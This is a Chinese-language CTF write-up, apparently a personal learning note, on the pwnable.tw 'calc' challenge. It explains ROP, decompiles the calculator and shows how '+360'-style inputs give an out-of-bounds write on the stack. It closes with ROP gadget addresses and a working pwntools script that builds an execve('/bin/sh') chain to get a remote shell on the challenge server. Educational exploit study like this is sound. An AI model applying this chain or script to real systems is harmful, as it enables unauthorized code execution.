Pwn学习笔记(二)

前言

本次将要分析的是 https://pwnable.tw/ 中的第三题 calc,相较前两题而言,该题难度陡增,对解题者的代码分析能力有着一定的要求。若下面讲述内容有不足之处,还往大家指正!

关于ROP

Return-Oriented Programming(中文:面向返回编程,缩写:ROP)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。攻击者控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(称为Gadgets)。每一段gadget通常结束于return指令,并位于共享库代码中的子程序。系列调用这些代码,攻击者可以在拥有更简单攻击防范的程序内执行任意操作。

注:以上内容摘自维基百科返回导向编程这一条目!

其实ROP的核心原理是将许多gadgets的地址放置到栈上,每个gadget都是一段在可访问内存里的汇编指令,或者说这些gadgets都位于程序的可执行段内(如.text段)。它们通常是一些以ret结束且长度较短的汇编指令。例如:当前函数执行完ret后,先前保存好的return_addr(返回地址)将从栈上弹出放入eip中,那么return_addr处的汇编指令就会被执行至下个ret的出现。若我们将return_addr修改为某个gadget的地址,那么该地址处的汇编指令也会得到执行,直至ret出现。以此类推的话,我们便可以将一串具有特定功能的gadgets的地址部署到栈上,以达到执行我们想要执行指令的目的,这串gadgets便是ROP链。

题目讲解

  • 根据题目指示,在我们的kali linux上执行nc chall.pwnable.tw 10100这条命令,从返回内容上看,该程序应该是个计算器模拟程序,我们可以随便输入一串表达式试试,截图如下:

    calc1

  • 接下来我们可以使用checksec对该可执行文件做个检测,截图如下:

    calc2

    可见,程序开启了两种保护机制,一是Canary(栈保护),二是NX(栈不可执行),关于这两种保护的相关简介,大家可以参考Pwn学习笔记(一)

  • 那么最重要的步骤来了,打开IDA,开始静态分析该程序:

    主函数分析:

    使用F5将主函数反编译,由下面的截图可知,主函数的流程相对比较简单,首先是设定了程序的运行时间,接着输出了程序的欢迎信息,再往下点就是执行一个名为calc的函数,估计这个calc函数便是该程序的核心函数了。代码截图如下:

    calc3

    calc函数分析:

    1. 通过查看calc函数反编译过来的代码,我们可以了解到,calc函数的主要内容在于while循环里面,它首先会使用bzero函数将一段长为1024字节的数据清零,这一段数据的起始地址便是v2,且这段数据将被用于存放我们输入的表达式。为了方便下面的分析,我们可以将其rename为expr。代码截图如下:

      calc4

    2. get_expr函数分析:

      紧接着calc函数会调用get_expr函数,并将其结果作为if判断的依据来确认自己是否要继续往下执行。下面我们来分析下get_expr函数,其主体也是在while循环里面,而每一个while循环将通过read(0, &v4, 1)获取输入的字符,并借助该字符的ASCII码判断其是否为运算符号(“+,-,*,/,%”)或者是否为阿拉伯数字(0-9),若是,则将其存放到expr所代表的空间内,若否,则不执行任何操作。简而言之,该函数就是个预处理函数,它能对我们所输入的表达式进行过滤!代码截图如下:

      calc5

    3. init_pool函数分析:

      该函数的流程也比较简单,它会在当前栈上分配一段100个字(400个字节)的空间,并将其清零,这段空间的起始地址便是v1,为了方便分析,我们可以将其rename为initpool。代码截图如下:

      calc6

    4. parse_expr函数分析:

      调用init_pool函数结束后,calc函数便会调用parse_expr函数,程序的一些核心操作将由该函数来完成。parse_expr函数主要是将预处理(过滤)后的运算表达式中的运算符和操作数分离,并存储到不同的数组中,最后再按照运算符号的优先级并借用eval函数将结果逐步计算出来!

      首先该函数拥有两个参数,参数一是我们输入的运算表达式的地址,参数二是我们通过init_pool函数在栈上分配的那段空间(400个字节大小)的起始地址。函数还定义了大量的局部变量与及一些初始化操作,截图如下:

      calc7

      紧接着是一个大大的for循环,我们将着重分析这里面的代码。先来看看第19行的那句if判断,该判断会逐一检查我们运算表达式中的字符是否为运算符,若是,接着往下执行,若否,结束此轮循环并开始下一轮,其判断代码如下:

      if ( (unsigned int)(*(char *)(i + expr) - 48) > 9 )
      //将当前的字符的ASCII码减去48,并将所得差(unsigned int类型)与9作比较,又因为运算符的ASCII码皆小于48,所以当字符为运算符时,所得差都将大于9!
      

      我们来看看for循环中的上半段代码,我们得到最重要的结论便是:initpool[0]保存着当前操作数个数,而当前的操作数将从下标1开始依次保存于initpool数组中,相关分析将以comment的形式加入代码中,如下所示:

      for ( i = 0; ; ++i )
      {
       if ( (unsigned int)(*(char *)(i + expr) - 48) > 9 )
       {
         v2 = i + expr - v5;                 
         // 结合上下文代码分析可得:v2的值将始终为1。
      
         s1 = (char *)malloc(v2 + 1);        
         // 为s1开辟两个字节大小的空间。
      
         memcpy(s1, v5, v2);                 
         // 将当前运算符左边的操作数拷贝到s1中,即:s1[0] = *(char *)v5
         s1[v2] = 0;
      
         if ( !strcmp(s1, "0") )
         // 判断操作数是否为0?
         {
           /* 若为0,打印出下则信息,并结束此轮parse_expr函数的执行,等待下一个表达式的输入。*/
           puts("prevent division by zero");
           fflush(stdout);
           return 0;
         }
      
         v9 = atoi(s1);
         // 将当前运算符左边的操作数转换成int类型,并赋值给v9。
      
         if ( v9 > 0 )
         {
           v4 = (*initpool)++;
           // 将initpool[0]的值赋给v4,操作完成后initpool[0]自增1。
      
           initpool[v4 + 1] = v9;
           // 将v9的值赋给initpool[v4 + 1]。
         }
      
         if ( *(_BYTE *)(i + expr) && (unsigned int)(*(char *)(i + 1 + expr) - 48) > 9 )
         // 判断当前运算符的右边的字符是否也为运算符?
         {
           /* 若是,则打印出下则信息,并结束此轮parse_expr函数的执行,等待下一个表达式的输入。*/
           puts("expression error!");
           fflush(stdout);
           return 0;
         }
      
         v5 = i + 1 + expr;
         // 更新v5的值为当前操作符右边的操作数。
         ...
      

      再来看看for循环中的下半段代码,我们可以发现,这段代码实际上是对运算逻辑的实现(即根据运算符号的优先级来确定表达式的运算顺序),而真正的运算过程是通过eval函数实现的!所以我们将重心放到eval函数的分析上,涉及到运算逻辑实现的那段代码就不再分析了,当然,感兴趣的朋友可以去自行分析下!先贴出eval函数的代码截图,如下所示:

      calc9

      我们可以看到每次运算一旦结束,运算的结果将保存到initpool[initpool[0] – 1]即initpool[initpool[0]-1] = initpool[initpool[0]-1] + initpool[initpool[0]] 上,并且initpool[0]的值将自减1。我们再返回calc函数中看看其关于输出运算结果的那段汇编代码,截图如下所示:

      calc10

      由上图可知,在printf输出结果时,其所输出的其实是initpool[initpool[0]]的值。若在正常情况下,整个表达式运算结束后initpool[0]的值将为1,所以这时输出的结果都将是initpool[1]的值。

      假如我们构造了类似+360这样的表达式,将会出现这种情况:initpool[0] = 1, initpool[1] = 360,运算结束后便有:initpool[0] = initpool[0] + initpool[1] , initpool[0] = 361,经过自减后又有initpool[0] = 360,那么最终输出的结果将是:initpool[initpool[0]] = initpool[360]的值 。

      经上所述,若我们的输入为:+a+b 或 +a-b, a>=360便可以修改initpool[a]的值为我们想要构造的值(a需要大于等于360是因为每次我们输入一个表达式前,数组initpool的前360个项都将被清0,那么我们所做的修改也会被清0)!

  • 漏洞利用

    这时我们便可以利用前面所提及的ROP来完成此次的getshell操作了,因为我们知道initpool[360]的值是我们main函数的基地址(main函数的ebp),且initpool[361]的值是calc函数栈帧中的返回地址,所以我们可以利用ROPgadgets 找到我们想要的gadgets并将其部署到栈上,这样我们便可以通过execve("/bin/sh", 0, 0)拿到shell了!

    但是我们还面临着最后一个难题,也就是需要知道”/bin/sh”这一字符串的地址,但是问题不大,我们已经有办法拿到main函数的基地址了,那么我们只要求得mian函数栈帧的大小便可以通过偏移求得”/bin/sh“的地址。在这里我用gdb-peda对calc进行了调试,结果如下:

    calc11

    由此可知main函数的基地址与返回地址相差了 (0xffffd408 - 0xffffd3f0) + 0x4 = 0x1c 即 7 个字,而”/bin/sh”字符串的地址与返回地址相差了8个字,那么main函数的基地址加上1个字(4个字节)便是”/bin/sh”字符串的地址了!

    1.使用ROPgadget --binary calc --only "pop|ret"ROPgadget --binary calc --only "int"获得下面这些gadgets:

    0x0805c34b : pop eax ; ret
    0x080483ae : pop ebp ; ret
    0x080701d1 : pop ecx ; pop ebx ; ret
    0x08049a21 : int 0x80
    

    2.将上面所获得的gadgets部署到栈上,使得栈的布局呈现以下这个样子:

    27.PNG

    利用代码如下所示:

    from pwn import *
    
    p = remote('chall.pwnable.tw', 10100)
    print p.recv(1024)
    
    values = [0x0805c34b,11,0x080701aa,0,0x080701d1,0,0,0x08049a21,0x6e69622f,0x0068732f]
    
    p.send('+360'+'\n')
    mainebp = int(p.recv(1024))
    ebxaddr = mainebp + (8-(28/4))*4
    values[6] = ebxaddr
    
    for i in range(0,10):
    p.send('+'+str(361+i)+'\n')
    value = int(p.recv(1024))
    differ = values[i] - value
    if differ < 0:
        p.send('+'+str(361+i)+str(differ)+'\n')
    else:
        p.send('+'+str(361+i)+'+'+str(differ)+'\n')
    print(str(361+i)+': '+'%s'%hex(int(p.recv(1024))))
    
    p.interactive()
    
    

    代码执行结果如下:

    calc12

    作者:Andyi

    时间:2018.4.19